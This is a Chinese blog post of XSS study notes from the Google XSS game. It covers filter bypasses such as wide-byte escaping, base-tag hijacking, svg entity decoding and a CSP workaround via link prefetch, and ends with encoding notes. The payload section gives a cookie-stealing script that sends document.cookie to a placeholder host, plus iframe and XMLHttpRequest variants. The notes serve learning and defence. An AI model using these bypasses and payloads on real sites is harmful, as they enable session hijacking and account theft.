XSS学习笔记
Posted
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了XSS学习笔记相关的知识,希望对你有一定的参考价值。
本次笔记实例基于google xss game,一个新手强行瞎jb总结一波
本次笔记主要记录以下三点:1.常见XSS绕过。2.常见XSS利用payload。3.XSS编码问题。
XSS主要考虑以下几个点:可控的输入参数是什么?输出是什么?到底过滤了什么?可控变量追踪与JS调试
常见XSS绕过:
关键字绕过 宽字节绕过 编码绕过(第三部分讨论) 其它技巧
1.关键字绕过(最简单的一种,实战中不存在的)
比如后端过滤了script,就用<scripscriptt>alert(1);</scripscriptt>
2.宽字节绕过
宽字节的问题主要是吃掉一个ascii码,主要是吃掉转义符号‘\‘,GB2312、GBK、GB18030、BIG5、Shift_JIS这些宽字节GBK编码第一字节(高字节)的范围是0x81~0xFE,第二字节(低字节)的范围是0x40~0x7E与0x80~0xFE,这样的十六进制表示。而’\‘符号的十六进制表示为0x5C,因此当需要闭合掉双引号的时候,通过在双引号之前加一个0x81~0xFE之间的字符,
即可吃掉转义符号,进而闭合双引号。
其它技巧(跟着大佬的网络安全课程学习到的,感叹大佬技术之6)
(1)<base>
注入base标签会使其后的所有url基于base的标签进行解析,<img><link><a><form><script>等。示例:当注入一个标签<base href="http://IP"></base>,之后只需要在IP的服务器上伪造文件名目录一样的文件,即可使<base>之后的标签解析你的文件。
(2)使用反引号``代替(),绕()过滤,但是``的内容会全部按照字符串进行解析。
(3)<svg>
利用<svg>标签的XML编码特性,script标签会先进行html解码,之后再执行。(编码部分详解)
(4)with
可以绕过对象’.‘的过滤。with object指定一个对象,当语句组中对象缺少时可以用来参考。比如location.hash = ‘alert();‘ with(location)with(hash)eval(substring(1));会执行弹窗
(5)/可作为空格
<script/onload="alert();"></script>
(6).通过浏览器禁用前端过滤(未实践)
禁止掉干扰或防御js,利用chrome过滤器特性,在get参数(反射参数)中添加需要禁止的防御js代码,如:
&a=%3Cscript%3Evar%20imageData%20=%20{name:%20%22%22};%3Cscript%3E
(7).强制重新渲染dom树
有时我们干掉一些防御代码,或者动态插入了dom树之后,不重新渲染页面dom是无法触发我们的攻击代码的,这时候我们需要一些技巧另其强制重载。
最简单的方法是绕过某个外部js的hook,比如页面引入了一个<script src=‘1.js‘>,这时我们在url的参数前使用/?,比如jjj.php?a=asd 改为 jjj.php/?a=asd 这样传参效果是一样的,但是相对路径会hook不到1.js。从而强制重新渲染。
如果<script>新增加到dom树,不执行,可以考虑通过事件触发解释器。
(8).CSP
csp下获取cookie时两个难点,一是禁用内联脚本执行即注入的<script>不执行。2,无法完成跨域请求,即使得到cookie也无法发出去。第二个问题通过link标签,<link rel="prefetch" href="xxx"/>绕过。第一个问题根据我遇见过的题目来说,一般是在网站的其它地方可以留言,然后注入payload,从其它界面外部调用。
2.常见XSS利用payload。
在此篇文章仅仅介绍几个简单的payload(根据做过的题的例子)
(1)首先是最简单的一个cookie获取
var img=document.createElement(‘img‘);
img.src=‘http://XXX?cookie=‘+escape(document.cookie);
document.body.appendChild(img);
(2) 如果想从本页面窃取同域下其它页面的cookie,使用iframe标签。
首先是注入一个iframe标签<iframe src="相对/绝对路径“ id="iframe"></iframe>
随后注入<script>,payload如下:
<script>iframe = document.getElementById(‘iframe‘);
setTimeout(function(){
//利用上一个payload,将cookie换成iframe.contentDocument.cookie
},1000);
使用setTimeout防止执行script时,iframe还没加载完成。通过contentDocument获得iframe的dom树。
3.XMLHttpRequest
通过js发起请求的方法(白帽子讲web安全)
(1)通过dom树或是div.innerHTML属性构造一个form,之后通过form.submit();提交。
(2)通过AJAX,ajax核心是XMLHttpRequest对象。ie下不支持可以使用ActiveXObject
var url="XXX"
var poststr="XXX"
if(window.XMLHttpRequest)
{
var ajax=new XMLHttpRequest();
}
else if(window.ActiveXObject)
{
var ajax=new ActiveXObject("Mincrosoft.XMLHTTP");
}
else return false;
ajax.onreadystatechange = function(){
if(readyState == 4 && ajax.status == 200){
alert(ajax.responseText);//alert(ajax.responseXML);
}
}
ajax.open("POST",url,true);
ajax.send(poststr);
ajax.open("POST", url, true);
ajax.send(poststr);
3.XSS编码
参考博客http://or7.me/2017/09/08/xss_charset/
http://www.freebuf.com/articles/web/43285.html
编码问题的核心是哪种编码在哪个时刻被哪种规则解析,编码分为三种,url,html,js。具体基础看前两个博客。在这里我想总结以前瞎插的时候遇到的一些问题。
1.javascript解析器工作的时候将\u0061\u006c\u0065\u0072\u0074进行js解码后为“alert”,而“alert”是一个有效的标识符名称,它是能被正常解析的。像圆括号、双引号、单引号等等这些控制字符,在进行JavaScript解析的时候仅会被解码为字符串文本或者上面讲的标识符名称,例如:<script>alert(‘YISRC\u0027)</script>对控制字符单引号进行js编码,解析时\u0027被解码成文本单引号,无法闭合因此不能成功执行。JavaScript解析时只有标识符名称不会被当做字符串,控制字符仅会被解析为标示符名称或者字符串,因此‘\u0027‘被解释成单引号文本,\u0028和\u0029被解释成为圆括号文本,不会变为控制字符被解析执行。 因此,在后端进行了html编码+js编码之后,你再怎么瞎鸡巴插也闭合不了引号。
2.svg与html编码
html编码是一种约定好的转义,防止<>等干扰页面布局,但是svg标签会先进行xml解析,因此svg里的html实体编码会执行。
举一个防御的例子
比如用户可以控制某一个事件或链接的值,如<a href="XXX" onclick="alert(‘XXX‘)">testlink</a>, alert内容用户可控,防御的话如何进行编码?
此处先进行html解码,后js解码。如果只html编码,那么js解释器执行时,已经是正常字符串,可以闭合掉双引号。但是如果先html编码,后js编码,html解码后,js再次进行解码,特殊字符“仅仅会作为字符串的一部分,因此不会闭合双引号。
个人观点,想要真正的玩XSS必须精通,js,html,以及浏览器的各种机制。如果只单单学习XSS的话,那么学到的东西都不过是别人发明的,挖过的,玩烂的。想要真正成为黑客,就得自己发明XSS的方法,跟着别人屁股后面,可以成为会挖洞的安全从业者,但绝对不是真正的黑客,绝不是我的初心。
以上是关于XSS学习笔记的主要内容,如果未能解决你的问题,请参考以下文章